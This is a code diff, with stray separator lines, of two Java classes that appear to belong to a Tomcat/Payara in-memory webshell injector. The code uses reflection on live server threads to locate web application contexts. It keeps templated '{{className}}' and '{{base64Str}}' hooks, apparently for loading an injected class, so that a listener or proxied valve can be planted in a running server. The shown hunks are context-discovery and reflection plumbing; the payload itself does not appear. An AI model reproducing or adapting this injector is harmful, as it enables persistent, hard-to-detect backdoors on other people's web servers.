Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
|
||||
if (childrenMap == null) {
|
||||
continue;
|
||||
}
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
if (children != null) {
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||
try {
|
||||
Object target = getThreadTarget(thread);
|
||||
if (target == null) {
|
||||
continue;
|
||||
}
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
|
||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
if (name.matches(".+WebappClassLoader")) {
|
||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||
// need WebResourceRoot not DirContext
|
||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||
Object context = getFieldValue(resources, "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getThreadTarget(Thread thread) throws Exception {
|
||||
Object target = getFieldValue(thread, "target");
|
||||
if (target == null) {
|
||||
// JDK 21+
|
||||
Object holder = getFieldValue(thread, "holder");
|
||||
if (holder != null) {
|
||||
target = getFieldValue(holder, "task");
|
||||
}
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
/**
|
||||
* Older Catalina: ContainerBackgroundProcessor.this$0
|
||||
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
|
||||
*/
|
||||
private Object getContainerFromProcessor(Object target) throws Exception {
|
||||
Object container = getFieldValue(target, "this$0");
|
||||
if (container != null) {
|
||||
return container;
|
||||
}
|
||||
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
|
||||
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
|
||||
if (base instanceof java.lang.ref.Reference) {
|
||||
return ((java.lang.ref.Reference<?>) base).get();
|
||||
}
|
||||
return base;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
@@ -153,7 +70,32 @@ public class TomcatListenerInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
if (name.matches(".+WebappClassLoader")) {
|
||||
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||
// need WebResourceRoot not DirContext
|
||||
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||
Object context = getFieldValue(resources, "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
@@ -272,25 +214,30 @@ public class TomcatListenerInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -8,9 +8,7 @@ import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -23,14 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TomcatProxyValveInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
@@ -41,7 +31,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
if (contexts == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
@@ -59,11 +49,36 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||
this.rawValve = rawValve;
|
||||
this.proxyValve = proxyValve;
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
if ("invoke".equals(method.getName())) {
|
||||
@@ -85,24 +100,12 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
String threadName = thread.getName();
|
||||
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||
try {
|
||||
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||
for (Object value : childrenMap.values()) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
} else if (thread.getContextClassLoader() != null) {
|
||||
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||
if (name.matches(".+WebappClassLoader")) {
|
||||
@@ -118,23 +121,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
|
||||